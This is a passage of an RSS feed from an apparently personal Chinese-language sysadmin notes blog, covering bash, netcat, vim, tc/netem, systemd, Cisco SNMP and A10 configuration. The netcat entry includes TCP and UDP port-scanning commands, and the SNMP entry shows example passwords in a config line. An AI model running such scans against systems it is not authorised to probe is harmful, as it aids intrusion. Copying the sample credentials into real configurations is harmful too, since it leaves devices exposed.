&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xxd -r -p | &lt;span style="color:#75715e"># 十六進位轉位元組&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> base64 &lt;span style="color:#75715e"># 以 base64 編碼&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Shell 中 `&lt; &lt;(command args)` 是什麼意思？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181117-what-does-command-args-mean-in-the-shell/</link><pubDate>Sat, 17 Nov 2018 22:29:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181117-what-does-command-args-mean-in-the-shell/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/2443085/what-does-command-args-mean-in-the-shell" target="_blank" rel="noopener">Shell 中 &lt;code>&amp;lt; &amp;lt;(command args)&lt;/code> 是什麼意思？&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">while&lt;/span> IFS&lt;span style="color:#f92672">=&lt;/span> read -r -d &lt;span style="color:#e6db74">$&amp;#39;\0&amp;#39;&lt;/span> file; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dosomethingwith &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$file&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 對每個檔案進行處理&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">done&lt;/span> &amp;lt; &amp;lt;&lt;span style="color:#f92672">(&lt;/span>find /bar -name *foo* -print0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>&amp;lt;()&lt;/code> 在手冊中稱為 &lt;a href="http://www.gnu.org/software/bash/manual/html_node/Process-Substitution.html#Process-Substitution" target="_blank" rel="noopener">&lt;strong>process substitution&lt;/strong>&lt;/a>，它類似於管線，但會傳遞 &lt;code>/dev/fd/63&lt;/code> 這種形式的參數，而不是使用 stdin。&lt;/p>
&lt;p>&lt;code>&amp;lt;&lt;/code> 會從命令列指定的檔案讀取輸入。&lt;/p>
&lt;p>這兩個運算子合起來的作用與管線完全相同，因此可以改寫為：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>find /bar -name *foo* -print0 | &lt;span style="color:#66d9ef">while&lt;/span> read line; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Netcat（Linux nc 指令）網路管理者工具實用範例</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181109-linux-utility-netcat-examples/</link><pubDate>Fri, 09 Nov 2018 00:17:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181109-linux-utility-netcat-examples/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.gtwang.org/linux/linux-utility-netcat-examples/" target="_blank" rel="noopener">Netcat（Linux nc 指令）網路管理者工具實用範例&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="傳送測試用的-udp-封包到遠端伺服器">傳送測試用的 UDP 封包到遠端伺服器&lt;/h4>
&lt;p>下面這行指令會傳送 UDP 的測試封包到指定的機器與連接埠，&lt;code>-w1&lt;/code> 參數是指定 timeout 的時間為 1 秒。&lt;/p>
&lt;p>&lt;code>echo -n &amp;quot;foo&amp;quot; | nc -u -w1 192.168.1.8 5000&lt;/code>&lt;/p>
&lt;h4 id="開啟-udp-連接埠接收資料">開啟 UDP 連接埠接收資料&lt;/h4>
&lt;p>&lt;code>nc -lu localhost 5000&lt;/code>&lt;/p>
&lt;h4 id="遠端機器的連接埠掃描port-scanning">遠端機器的連接埠掃描（Port Scanning）&lt;/h4>
&lt;p>這行指令會掃描指定機器 1 ~ 1000 與 2000 ~ 3000 這兩個範圍的 TCP 連接埠，看看哪些埠號有開啟。&lt;/p>
&lt;p>&lt;code>nc -vnz -w 1 192.168.233.208 1-1000 2000-3000&lt;/code>&lt;/p>
&lt;p>這行則是掃描 UDP 的連接埠&lt;/p>
&lt;p>&lt;code>nc -vnzu 192.168.1.8 1-65535&lt;/code>&lt;/p>
&lt;h4 id="在兩台主機之間複製檔案">在兩台主機之間複製檔案&lt;/h4>
&lt;p>假設現在有兩台主機，分別為 A 主機與 B 主機，若要將一個檔案從 A 主機複製到 B 主機，可以先在 B 主機（檔案接收者）上執行：&lt;/p>
&lt;p>&lt;code>nc -l 5000 &amp;gt; my.jpg&lt;/code>&lt;/p></description></item><item><title>vimrc設定教學</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181103-vimrc/</link><pubDate>Sat, 03 Nov 2018 23:30:52 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181103-vimrc/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://wiki.csie.ncku.edu.tw/vim/vimrc" target="_blank" rel="noopener">vimrc 設定教學&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>:set nu&lt;/p>
&lt;ul>
&lt;li>顯示行號：對於 debug 相當有幫助!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>:set ai&lt;/p>
&lt;ul>
&lt;li>自動對齊縮排：如果上一行有兩個 tab 的寬度，按 enter 繼續編輯下一行時會自動保留兩個 tab 鍵的寬度。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>:set cursorline&lt;/p>
&lt;ul>
&lt;li>光標底線：光標所在的那一行會有底線，幫助尋找光標位置&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>:set bg=light&lt;/p>
&lt;ul>
&lt;li>上色模式-針對亮背景上色&lt;/li>
&lt;li>預設為亮背景(白色等)上色，但是終端機的初始背景色為深紫色，會出現文字失蹤 ( 例如註解為深藍色 ) 的情況。將這一行換成 :set bg=dark 即可。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>:set tabstop=4&lt;/p>
&lt;ul>
&lt;li>縮排間隔數 ( 預設為 8 個空白對齊 )&lt;/li>
&lt;li>也就是說按一次 tab 鍵，游標會自動跳 4 格空白字元的寬度。雖有多個空格但實際上只有一個 tab 字元。&lt;/li>
&lt;li>注意：也就是說，在其他環境下，看到 tab 字元，依舊是 8 個空白寬&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>:set shiftwidth=4&lt;/p>
&lt;ul>
&lt;li>自動縮排對齊間隔數：向右或向左一個縮排的寬度&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>以下可以斟酌使用&lt;/p>
&lt;ul>
&lt;li>:set mouse=a
&lt;ul>
&lt;li>啟用游標選取：游標可以直接選取文字，滾輪可以直接滑動頁面 ( 非移動游標 )。&lt;/li>
&lt;li>可以取代用 v 選取字元的功能，配合 ctrl+insert ( 複製 ) 及 shift+inset ( 貼上 )，相當方便&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set mouse=&amp;quot;&amp;quot;
&lt;ul>
&lt;li>停用游標選取：游標無法選取文字，滾輪只會移動光標的位置。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set ruler
&lt;ul>
&lt;li>( 預設就有 ) 顯示右下角的 行,列 目前在文件的位置 % 的資訊&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set backspace=2
&lt;ul>
&lt;li>( 預設就有 ) 在 insert 模式啟用 backspace 鍵&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set formatoptions+=r
&lt;ul>
&lt;li>自動註解(注意：若要貼上的文件某一行有註解，會因為此項設定而讓其以下每一行都變成註解)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set history=100
&lt;ul>
&lt;li>保留 100 個使用過的指令&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>:set incsearch
&lt;ul>
&lt;li>在關鍵字尚未完全輸入完畢前就顯示結果&lt;/li>
&lt;li>如果覺得這功能太過熱心的話，可以使用 ctrl+n 來達成自動補完的功能&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>為什麼瀏覽器 user-agent string 總是包含 Mozilla/5.0 ?</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181017-mozilla5-0-always-user-agent-string/</link><pubDate>Wed, 17 Oct 2018 12:03:04 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181017-mozilla5-0-always-user-agent-string/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://yulun.me/2013/mozilla5-0-always-user-agent-string/" target="_blank" rel="noopener">為什麼瀏覽器 user-agent string 總是包含 Mozilla/5.0 ?&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://stackoverflow.com/questions/12288452/what-does-mozilla-5-0-in-user-agent-string-signify" target="_blank" rel="noopener">What does &amp;ldquo;Mozilla/5.0&amp;rdquo; in user agent string signify?&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://webaim.org/blog/user-agent-string-history/" target="_blank" rel="noopener">History of the browser user-agent string&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>快速結論&lt;/p>
&lt;p>因為網站開發者可能會因為你是某瀏覽器(這裡是 Mozilla)，所以輸出一些特殊功能的程式碼(這裡指好的特殊功能)，所以當其他瀏覽器也支援這種好功能時，就試圖去模仿 Mozilla 瀏覽器讓網站輸出跟 Mozilla 一樣的內容，而不是輸出被閹割功能的程式碼。&lt;/p></description></item><item><title>使用 TC 和 Netem 模拟网络异常</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180915-simulate-network-anomalies-using-tc-and-netem/</link><pubDate>Sat, 15 Sep 2018 16:17:26 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180915-simulate-network-anomalies-using-tc-and-netem/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.hi-linux.com/posts/35699.html" target="_blank" rel="noopener">使用 TC 和 Netem 模拟网络异常&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Netem 与 TC 简要说明&lt;/p>
&lt;p>Netem 是 Linux 2.6 及以上内核版本提供的一个网络模拟功能模块。该功能模块可以用来在性能良好的局域网中，模拟出复杂的互联网传输性能。例如:低带宽、传输延迟、丢包等等情况。使用 Linux 2.6 (或以上) 版本内核的很多 Linux 发行版都默认开启了该内核模块，比如：Fedora、Ubuntu、Redhat、OpenSuse、CentOS、Debian 等等。&lt;/p>
&lt;p>TC 是 Linux 系统中的一个用户态工具，全名为 Traffic Control (流量控制)。TC 可以用来控制 Netem 模块的工作模式，也就是说如果想使用 Netem 需要至少两个条件，一是内核中的 Netem 模块被启用，另一个是要有对应的用户态工具 TC 。&lt;/p>&lt;/blockquote>
&lt;ol>
&lt;li>所有的报文延迟 100ms 发送: &lt;code>$ tc qdisc add dev enp0s5 root netem delay 100ms&lt;/code>&lt;/li>
&lt;li>模拟丢包率: &lt;code>$ tc qdisc change dev enp0s5 root netem loss 50%&lt;/code>&lt;/li>
&lt;li>模拟包重复: &lt;code>$ tc qdisc change dev enp0s5 root netem duplicate 50%&lt;/code>&lt;/li>
&lt;li>模拟包损坏: &lt;code>tc qdisc change dev enp0s5 root netem corrupt 2%&lt;/code>&lt;/li>
&lt;li>模拟包乱序(每 5 个报文（第 5、10、15…报文）会正常发送，其他的报文延迟 100ms): &lt;code>tc qdisc change dev enp0s5 root netem reorder 50% gap 3 delay 100ms&lt;/code>&lt;/li>
&lt;/ol>
&lt;h5 id="查看并显示-enp0s5-网卡的相关传输配置">查看并显示 enp0s5 网卡的相关传输配置&lt;/h5>
&lt;p>&lt;code>$ tc qdisc show dev enp0s5&lt;/code>&lt;/p></description></item><item><title>Quagga Routing - 安裝、設定與建置 BGP</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180814-quagga-routing--install-configure-and-setup-bgp/</link><pubDate>Tue, 14 Aug 2018 22:13:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180814-quagga-routing--install-configure-and-setup-bgp/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.psychz.net/client/kb/en/quagga-routing--install-configure-and-setup-bgp.html" target="_blank" rel="noopener">Quagga Routing - 安裝、設定與建置 BGP&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Systemd 入门教程：实战篇</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180809-systemd-tutorial-part-two/</link><pubDate>Thu, 09 Aug 2018 13:53:32 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180809-systemd-tutorial-part-two/</guid><description>&lt;ul>
&lt;li>&lt;a href="http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-part-two.html" target="_blank" rel="noopener">Systemd 入门教程：实战篇&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ systemctl cat sshd.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Unit&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Description&lt;span style="color:#f92672">=&lt;/span>OpenSSH server daemon
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Documentation&lt;span style="color:#f92672">=&lt;/span>man:sshd&lt;span style="color:#f92672">(&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> man:sshd_config&lt;span style="color:#f92672">(&lt;/span>5&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>After&lt;span style="color:#f92672">=&lt;/span>network.target sshd-keygen.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wants&lt;span style="color:#f92672">=&lt;/span>sshd-keygen.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Service&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EnvironmentFile&lt;span style="color:#f92672">=&lt;/span>/etc/sysconfig/sshd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ExecStart&lt;span style="color:#f92672">=&lt;/span>/usr/sbin/sshd -D $OPTIONS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ExecReload&lt;span style="color:#f92672">=&lt;/span>/bin/kill -HUP $MAINPID
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Type&lt;span style="color:#f92672">=&lt;/span>simple
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>KillMode&lt;span style="color:#f92672">=&lt;/span>process
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Restart&lt;span style="color:#f92672">=&lt;/span>on-failure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RestartSec&lt;span style="color:#f92672">=&lt;/span>42s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>Install&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WantedBy&lt;span style="color:#f92672">=&lt;/span>multi-user.target
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="unit-区块启动顺序与依赖关系">[Unit] 区块：启动顺序与依赖关系&lt;/h4>
&lt;p>&lt;code>After&lt;/code> 字段：表示如果 &lt;code>network.target&lt;/code> 或 &lt;code>sshd-keygen.service&lt;/code> 需要启动，那么 &lt;code>sshd.service&lt;/code> 应该在它们之后启动。&lt;/p>
&lt;p>相应地，还有一个 &lt;code>Before&lt;/code> 字段，定义 &lt;code>sshd.service&lt;/code> 应该在哪些服务之前启动。&lt;/p>
&lt;p>注意，After 和 Before 字段只涉及启动顺序，不涉及依赖关系。&lt;/p>
&lt;p>设置依赖关系，需要使用 Wants 字段和 Requires 字段&lt;/p>
&lt;p>&lt;code>Wants&lt;/code> 字段：表示 &lt;code>sshd.service&lt;/code> 与 &lt;code>sshd-keygen.service&lt;/code> 之间存在&amp;quot;弱依赖&amp;quot;关系，即如果&amp;quot;sshd-keygen.service&amp;quot;启动失败或停止运行，不影响 &lt;code>sshd.service&lt;/code> 继续执行。&lt;/p>
&lt;p>&lt;code>Requires&lt;/code> 字段则表示&amp;quot;强依赖&amp;quot;关系，即如果该服务启动失败或异常退出，那么 &lt;code>sshd.service&lt;/code> 也必须退出。&lt;/p>
&lt;p>注意，Wants 字段与 Requires 字段只涉及依赖关系，与启动顺序无关，默认情况下是同时启动的。&lt;/p></description></item><item><title>Raid10 徹底崩壞 ,壞就壞在同組作Mirror硬碟一起故障。</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180801-raid/</link><pubDate>Wed, 01 Aug 2018 18:21:20 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180801-raid/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jerry2yang.wordpress.com/2013/01/09/raid10-%E5%BE%B9%E5%BA%95%E5%B4%A9%E5%A3%9E-%E5%A3%9E%E5%B0%B1%E5%A3%9E%E5%9C%A8%E5%90%8C%E7%B5%84%E4%BD%9Cmirror%E7%A1%AC%E7%A2%9F%E4%B8%80%E8%B5%B7%E6%95%85%E9%9A%9C%E3%80%82/" target="_blank" rel="noopener">Raid10 徹底崩壞 ,壞就壞在同組作 Mirror 硬碟一起故障。&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://zh.wikipedia.org/wiki/RAID" target="_blank" rel="noopener">RAID&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>與 DDoS 奮戰：nginx, iptables 與 fail2ban</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180720-defend-against-ddos-with-nginx-iptable-and-fail2ban/</link><pubDate>Fri, 20 Jul 2018 18:47:42 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180720-defend-against-ddos-with-nginx-iptable-and-fail2ban/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.techbridge.cc/2016/08/12/defend-against-ddos-with-nginx-iptable-and-fail2ban/" target="_blank" rel="noopener">與 DDoS 奮戰：nginx, iptables 與 fail2ban&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>最好用的 V2Ray 一鍵安裝腳本 &amp; 管理腳本</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180208-v2ray/</link><pubDate>Thu, 08 Feb 2018 10:56:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180208-v2ray/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://233blog.com/post/16/" target="_blank" rel="noopener">最好用的 V2Ray 一鍵安裝腳本 &amp;amp; 管理腳本&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/233boy/v2ray" target="_blank" rel="noopener">v2ray&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>如何在 Switch 上啟用 snmp 設定</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180204-switchsnmp/</link><pubDate>Sun, 04 Feb 2018 14:48:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180204-switchsnmp/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://itlocation.blogspot.com/2013/10/switchsnmp.html" target="_blank" rel="noopener">如何在 Switch 上啟用 snmp 設定&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>以 snmp-server 為主要指令&lt;/p>
&lt;p>&lt;code>C3750(Config)#snmp-server community RO&lt;/code>&lt;/p>
&lt;p>指的是 SNMP 協定時互相溝通的密碼
RO 指的是 Read Only (SNMP 工具不允許修改設定)
RW 指的是 Read and Write (SNMP 工具可以修改設定)&lt;/p>
&lt;p>&lt;code>C3750(config)#snmp-server group SNMP_ROA v3 priv match exact&lt;/code>&lt;/p>
&lt;ol>
&lt;li>設定 SNMP Group 名： SNMP_ROA&lt;/li>
&lt;li>Version ： V3&lt;/li>
&lt;li>最高的 priv&lt;/li>
&lt;/ol>
&lt;p>&lt;code>C3750(config)#snmp-server user cater SNMP_ROA v3 auth MD5 cisco12345 priv des56 test12345&lt;/code>&lt;/p>
&lt;p>這行設定跟 PRTG 設定有關聯，一定要記清楚&lt;/p>
&lt;ol>
&lt;li>使用者 ：cater&lt;/li>
&lt;li>隸屬 Group 為：SNMP_ROA&lt;/li>
&lt;li>驗證模式 ：MD5&lt;/li>
&lt;li>密碼(MD5) ：cisco12345 (PRTG 要求要 8 碼以上)&lt;/li>
&lt;li>Priv 驗證密碼 ：test12345 (PRTG 要求要 8 碼以上)&lt;/li>
&lt;/ol>
&lt;p>&lt;code>C3750(config)#snmp-server host 192.168.3.100 version 3 priv cater&lt;/code>&lt;/p></description></item><item><title>A10</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180110-a10/</link><pubDate>Wed, 10 Jan 2018 03:44:14 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20180110-a10/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jal.tw/a10:l2:link-aggregation" target="_blank" rel="noopener">A10 Link Aggregation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:slb:healthmonitor:tcl" target="_blank" rel="noopener">Health Monitor use TCL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:slb:ssl-cipher" target="_blank" rel="noopener">A10 SSL Offload Cipher Suite Support List&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:slb:compression" target="_blank" rel="noopener">Compression&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:slb:ramcache" target="_blank" rel="noopener">A10 RAM Cache 加速&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:nat" target="_blank" rel="noopener">A10 NAT&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jal.tw/a10:basic:config" target="_blank" rel="noopener">A10 configuration template&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="a10-link-aggregation">A10 Link Aggregation&lt;/h4>
&lt;h5 id="8023ad-lacp">802.3ad LACP&lt;/h5>
&lt;blockquote>
&lt;p>A10 trunk can config a maximnm of 16 LACP trunks per device.&lt;/p>&lt;/blockquote>
&lt;pre tabindex="0">&lt;code>interface ethernet 1
lacp trunk 1 mode active
lacp timeout long
!
interface ethernet 2
lacp trunk 1 mode active
lacp timeout long
&lt;/code>&lt;/pre>&lt;h5 id="static-link-aggregation">Static Link Aggregation&lt;/h5>
&lt;blockquote>
&lt;p>None LACP.&lt;/p>
&lt;p>Up to 8 static trunks.&lt;/p></description></item><item><title>具有代表性的 HTTP 状态码</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2017/20171215-6844903519447678990/</link><pubDate>Fri, 15 Dec 2017 15:33:14 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2017/20171215-6844903519447678990/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://juejin.cn/post/6844903519447678990" target="_blank" rel="noopener">具有代表性的 HTTP 状态码&lt;/a>&lt;/li>
&lt;/ul></description></item></channel></rss>